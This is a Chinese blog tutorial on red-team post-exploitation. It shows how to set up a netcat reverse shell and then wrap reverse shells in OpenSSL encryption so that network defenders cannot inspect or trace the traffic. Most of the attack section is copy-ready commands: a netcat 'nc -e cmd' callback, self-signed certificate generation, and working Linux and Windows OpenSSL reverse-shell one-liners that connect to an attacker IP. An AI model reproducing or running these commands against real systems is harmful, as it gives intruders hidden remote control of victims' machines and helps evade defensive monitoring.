• 红队隧道加密之OpenSSL加密反弹Shell(一)


    前言

    在红队的后渗透阶段中, 往往需要反弹shell进行下一步的内网横向渗透, 而这种反弹shell大多数都有一个缺点, 那就是其传输的流量都是明文传输, 相当容易被内网的防火软件所捕捉, 要是蓝队对此流量进行朔源分析, 很容易就能复现攻击的整个流程

    例如此处用netcat反弹Shell进行测试, 首先在攻击机(kali,192.168.47.134)监听本机6666端口

    nc -lvp 6666
    
    • 1

    image-20221105152309389


    在目标主机(win7,192.168.47.149)连接攻击机并反弹一个CmdShell

    nc 192.168.47.134 6666 -e cmd 
    
    • 1

    image-20221105152453317


    随后可在攻击机接收反弹的CmdShell, 输入ipconfig进行测试

    1


    在攻击机使用wireshark抓取攻击机与目标主机之间的传输数据包, 并追踪其TCP流, 可发现是明文数据

    1

    1


    OpenSSL的介绍

    OpenSSL 是一个开源的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

    其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。OpenSSL 可以运行在OpenVMS、 Microsoft Windows以及绝大多数类Unix操作系统上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。

    它也提供了一个移植版本,可以在IBM i(OS/400)上运作


    OpenSSL下载安装

    Windows安装

    Windows版本下载地址: https://slproweb.com/products/Win32OpenSSL.html

    若你的windows系统是64位, 则按下图所示选择即可

    image-20221105171202996


    Linux安装

    1.下载并安装OpenSSL

    # wget https://www.openssl.org/source/openssl-1.1.1s.tar.gz --no-check-certificate
    # tar -xzvf openssl-1.1.1s.tar.gz
    # cd openssl-1.1.1s
    # mkdir /usr/local/openssl
    # make
    # make install
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.创建软链接

    # ln -s /usr/local/openssl/bin/openssl /usr/bin/openssl
    
    • 1

    3.查看openssl版本验证是否安装成功

    #openssl version
    
    • 1

    OpenSSL使用流程

    1.生成自签名证书

    在攻击机输入如下命令生成自签名证书, 此处采用的是RSA加密方式; 随后会要求输入证书信息, 直接一路回车即可

    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    
    • 1

    命令语法: openssl req -x509 -newkey rsa:4096 -keyout [key文件] -out [cert文件] -days 365 -nodes

    image-20221105154017781


    2.反弹加密Shell

    Linux客户端

    在攻击机创建服务端, 监听本机的4444端口

    openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
    
    • 1

    在linux客户端输入如下命令进行反弹shell

    mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.47.134:4444 > /tmp/s; rm /tmp/s
    
    • 1

    命令语法: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [服务端IP]:[监听端口] > /tmp/s; rm /tmp/s

    image-20221105165717054


    随后攻击机接收到反弹回来的shell

    image-20221105170041611


    Windows客户端

    与Linux客户端不一样的是, Windows客户端需要在攻击机用两个shell分别创建两个服务端来对接, 这两个服务端可以是相同IP不同端口

    openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
    
    • 1
    openssl s_server -quiet -key key.pem -cert cert.pem -port 6666
    
    • 1

    命令语法: openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

    image-20221105163711458


    随后返回客户端输入如下命令, 意思是从192.168.47.134:4444获取命令发送给cmd执行, 然后将执行结果返回给192.168.47.134:6666

    openssl s_client -quiet -connect 192.168.47.134:4444 | cmd.exe | openssl s_client -quiet -connect 192.168.47.134:6666
    
    • 1

    命令语法: openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

    image-20221105164019604


    随后在攻击机接收到反弹的shell

    image-20221105164229692


    抓包分析

    在攻击机使用wireshark抓包分析, 可发现攻击机和目标主机使用TLS1.2协议进行加密通讯

    image-20221105170359664


    参考文章

    • https://wolke.cn/post/4904f19c.html

    • https://blog.csdn.net/nvsirgn/article/details/121084789

  • 相关阅读:
    OLED显示图片
    nvm的简介、安装、使用(简单明了)
    计算机组成原理习题课第四章-3(唐朔飞)
    uni-app监听页面滚动
    副业教程之如何通过出售API赚取美元含数据集和训练教程
    讲解嵌入式软件中超时机制设计
    C++&QT---QT-day1
    OWASP的s-sdlc项目优秀分享
    开源大数据比对平台设计与实践—dataCompare
    Java面试题大全带答案
  • 原文地址:https://blog.csdn.net/xf555er/article/details/128051122